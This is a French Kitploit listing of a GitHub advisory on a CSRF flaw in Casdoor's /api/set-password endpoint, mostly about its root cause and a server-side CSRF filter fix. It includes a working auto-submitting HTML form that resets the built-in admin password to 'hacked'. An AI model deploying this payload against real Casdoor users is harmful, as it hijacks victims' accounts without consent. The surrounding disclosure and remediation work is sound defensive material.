Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
csrf_casdoor | Kitploit
Outils/GitHubGitHub/vanlam2001/csrf_casdoor
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionAuthentification
GitHubvanlam2001/csrf_casdoor

csrf_casdoor

Voir le dépôt
il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Casdoor – Falsification de requête intersite (CSRF)

Résumé

  • Vulnérabilité : CSRF dans /api/set-password permettant de changer le mot de passe sans consentement.
  • Versions affectées : toutes les versions du logiciel sont affectées. Aucune version corrigée n'est actuellement disponible.
  • CVE : CVE-2023-34927 (le plus récent reste à attribuer).
  • Auteur de l'exploit : Van Lam Nguyen.
  • Testé sur : Windows

Impact

  • Si une victime est connectée à Casdoor, une requête POST intersite peut modifier le mot de passe de la victime (par ex. built-in/admin), ce qui conduit à une prise de contrôle du compte.

Conditions préalables à l'attaque

  • La victime est authentifiée et dispose d'un cookie casdoor_session_id valide.
  • La victime visite une page malveillante qui soumet automatiquement une requête POST vers /api/set-password.

Preuve de concept

root@kitploit:~
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

Cause racine

  • Les points de terminaison modifiant l'état sous /api/* acceptent les requêtes authentifiées par cookie sans appliquer de contrôles de même origine (Origin/Referer) ni de jetons CSRF.

Aperçu du correctif

  • Ajouter un filtre CSRF côté serveur pour refuser les requêtes POST/PUT/DELETE/PATCH intersites basées sur les cookies sous /api/*.
  • Autoriser les requêtes dotées d'une authentification explicite sans cookie (par ex. Authorization, authentification Basic, identifiants client ou accessToken) ou les requêtes sans cookies de session navigateur (appels typiques de serveur à serveur).

Implémentation

  • Utiliser routers.CSRFFilter implémenté dans csrf_filter.go. Ce filtre :
    • Renvoie immédiatement pour les méthodes ne modifiant pas l'état.
    • Autorise les requêtes avec une authentification explicite sans cookie.
    • Bloque les requêtes intersites lorsqu'un cookie de session est présent et que l'origine ne correspond pas à l'hôte.

Comment intégrer dans Casdoor

  1. Copier csrf_filter.go dans le package routers existant du projet Casdoor. Ne rien modifier ni supprimer dans ce fichier.
  2. Enregistrer le filtre au début du pipeline HTTP (dans main) :
    root@kitploit:~
    // Beego v1 style
    beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter)
    
    // If your project uses Beego v2 and imports as `web`:
    // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    

Vérification

  • Après avoir enregistré le filtre, rejouer la preuve de concept ci-dessus en étant connecté. La requête doit être refusée avec Unauthorized operation et le serveur doit journaliser CSRF check failed.
  • Les appels API inter-origines incluant des en-têtes Authorization ou des paramètres accessToken doivent continuer à fonctionner.

Fichiers du dépôt

  • csrf_filter.go : filtre CSRF à copier dans le package routers de Casdoor.
  • poc.html : page minimale reproduisant l'attaque CSRF.
  • README.md : ce document décrivant la vulnérabilité et les étapes de correction.

Références

  • Casdoor : https://casdoor.org/
  • Version : https://github.com/casdoor/casdoor/releases
  • https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

Vidéo

  • Youtube : https://youtu.be/N5VENgiObjY
Télécharger l’outil